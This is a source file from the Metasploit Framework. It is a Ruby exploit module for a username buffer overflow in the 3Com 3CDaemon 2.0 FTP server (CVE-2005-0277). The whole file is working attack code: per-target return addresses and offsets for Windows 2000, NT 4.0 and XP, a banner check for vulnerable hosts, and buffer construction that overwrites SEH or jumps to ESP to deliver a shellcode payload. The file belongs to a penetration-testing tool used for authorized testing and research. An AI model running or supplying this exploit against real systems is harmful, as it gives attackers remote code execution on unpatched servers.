metasploit-framework/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
'Description' => %q{
This module exploits a vulnerability in the 3Com 3CDaemon
FTP service. This package is being distributed from the 3Com
web site and is recommended in numerous support documents.
This module uses the USER command to trigger the overflow.
},
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'Author' =>
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[
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'hdm', # Original author
'otr' # Windows XP SP3
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],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-0277'],
[ 'OSVDB', '12810'],
[ 'OSVDB', '12811'],
[ 'BID', '12155'],
[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
],
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'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'target' => 0
},
'Privileged' => false,
'Payload' =>
{
'Space' => 674,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => "-find"
}
},
'Targets' =>
[
[
'Windows 2000 English', # Tested OK - hdm 11/24/2005
{
'Platform' => 'win',
'Ret' => 0x75022ac4, # ws2help.dll
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'Offset' => 229,
},
],
[
'Windows XP English SP0/SP1',
{
'Platform' => 'win',
'Ret' => 0x71aa32ad, # ws2help.dll
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'Offset' => 229,
},
],
[
'Windows NT 4.0 SP4/SP5/SP6',
{
'Platform' => 'win',
'Ret' => 0x77681799, # ws2help.dll
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'Offset' => 229,
},
],
[
'Windows 2000 Pro SP4 French',
{
'Platform' => 'win',
'Ret' => 0x775F29D0,
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'Offset' => 229,
},
],
[
'Windows XP English SP3',
{
'Platform' => 'win',
'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP3
#'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP1
'Offset' => 245,
},
],
],
'DisclosureDate' => 'Jan 4 2005'))
end
def check
connect
disconnect
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
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if (target == targets[4])
buf = rand_text_english(target['Offset'], payload_badchars)
buf << [ target['Ret'] ].pack('V') * 2
buf << payload.encoded
else
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buf = rand_text_english(2048, payload_badchars)
seh = generate_seh_payload(target.ret)
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buf[target['Offset'], seh.length] = seh
end
send_cmd( ['USER', buf] , false )
handler
disconnect
end
end